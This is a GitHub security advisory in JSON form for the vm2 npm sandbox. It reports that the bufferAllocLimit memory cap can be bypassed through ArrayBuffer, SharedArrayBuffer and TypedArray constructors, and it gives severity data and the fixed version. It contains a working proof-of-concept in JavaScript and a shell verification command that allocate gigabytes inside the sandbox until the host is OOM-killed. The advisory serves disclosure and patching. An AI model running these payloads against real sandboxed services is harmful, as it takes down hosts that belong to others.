GHSA-v836-6xw4-9cx3: Vm2 Denial of Service Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-v836-6xw4-9cx3",
  "modified" : "2026-08-17T17:32:57Z",
  "published" : "2026-08-17T17:32:57Z",
  "aliases" : [ ],
  "summary" : "vm2 has Memory Exhaustion DoS via bufferAllocLimit Bypass",
  "details" : "### Summary:\n\nThe `bufferAllocLimit` defense (GHSA-6785-pvv7-mvg7) can be completely bypassed using `ArrayBuffer`, `SharedArrayBuffer`, or any `TypedArray` constructor. These allocate identical host-process RSS through the same V8/libuv C++ allocation path as `Buffer.alloc` but are not subject to the size cap.\n\n### Details:\n\nThe `bufferAllocLimit` option (vm2 v3.11.0+) caps `Buffer.alloc`, `Buffer.allocUnsafe`, `Buffer.allocUnsafeSlow`, and the deprecated `Buffer(N)` / `new Buffer(N)` forms. The cap is enforced in `setup-sandbox.js` via `checkBufferAllocLimit()` (line 353-359).\n\nHowever, `ArrayBuffer`, `SharedArrayBuffer`, `Uint8Array`, `Float64Array`, and all other TypedArray constructors are sandbox-realm V8 intrinsics that allocate host memory through the SAME underlying C++ path (`v8::ArrayBuffer::NewBackingStore` → `ArrayBufferAllocator::Allocate` → `calloc/malloc`). These constructors are NOT intercepted by the `bufferAllocLimit` defense.\n\nA single `new ArrayBuffer(N)` call with a large `N` exhausts host RSS in one synchronous allocation that V8's `timeout` cannot interrupt.\n\n### Environment:\n\n- vm2 version: 3.11.3\n- Node.js: v25.8.1 (affects all Node.js versions)\n- Configuration: Default `new VM()` or any configuration including `bufferAllocLimit`\n\n### POC:\n\n```javascript\nconst { VM } = require('vm2');\n\n// Operator sets bufferAllocLimit thinking they're protected:\nconst vm = new VM({ bufferAllocLimit: 10 * 1024 * 1024 }); // 10MB cap\n\n// Buffer.alloc IS capped (as intended):\ntry { vm.run('Buffer.alloc(20 * 1024 * 1024)'); }\ncatch(e) { console.log('Buffer.alloc blocked:', e.message); }\n// → \"Buffer allocation size 20971520 exceeds bufferAllocLimit 10485760\"\n\n// But these BYPASS the cap entirely:\nvm.run('new ArrayBuffer(1024 * 1024 * 1024)');        // 1GB allocated!\nvm.run('new SharedArrayBuffer(1024 * 1024 * 1024)');  // 1GB allocated!\nvm.run('new Uint8Array(1024 * 1024 * 1024)');         // 1GB allocated!\nvm.run('new Float64Array(128 * 1024 * 1024)');        // 1GB allocated!\n\n// OOM kill in constrained environments (Docker, K8s, Lambda):\nvm.run('var a=[]; for(var i=0;i<100;i++) a.push(new ArrayBuffer(100*1024*1024))');\n// → 10GB allocated → host OOM killed\n```\n\n**Verification:**\n\n```bash\nnode -e '\nconst {VM} = require(\"./lib/main.js\");\nconst vm = new VM({bufferAllocLimit: 10*1024*1024});\ntry { vm.run(\"Buffer.alloc(20*1024*1024)\"); } catch(e) { console.log(\"Buffer BLOCKED\"); }\nconsole.log(\"ArrayBuffer:\", vm.run(\"new ArrayBuffer(100*1024*1024).byteLength\"), \"bytes allocated\");\nconsole.log(\"SharedArrayBuffer:\", vm.run(\"new SharedArrayBuffer(100*1024*1024).byteLength\"), \"bytes allocated\");\n'\n# Output:\n# Buffer BLOCKED\n# ArrayBuffer: 104857600 bytes allocated\n# SharedArrayBuffer: 104857600 bytes allocated\n```\n\n### Impact:\n\n- **Type:** Denial of Service (Host Memory Exhaustion)\n- **Attack Complexity:** Low\n- **Availability Impact:** Complete, host process OOM killed in memory-constrained environments\n- **Affected deployments:** Docker containers, Kubernetes pods, AWS Lambda, any environment with memory limits. Especially dangerous when operators explicitly set `bufferAllocLimit` believing they have DoS protection.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "vm2"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.11.6"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 3.11.5"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/patriksimek/vm2/security/advisories/GHSA-v836-6xw4-9cx3"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/patriksimek/vm2"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/patriksimek/vm2/releases/tag/3.11.6"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-770" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-08-17T17:32:57Z",
    "nvd_published_at" : null
  }
}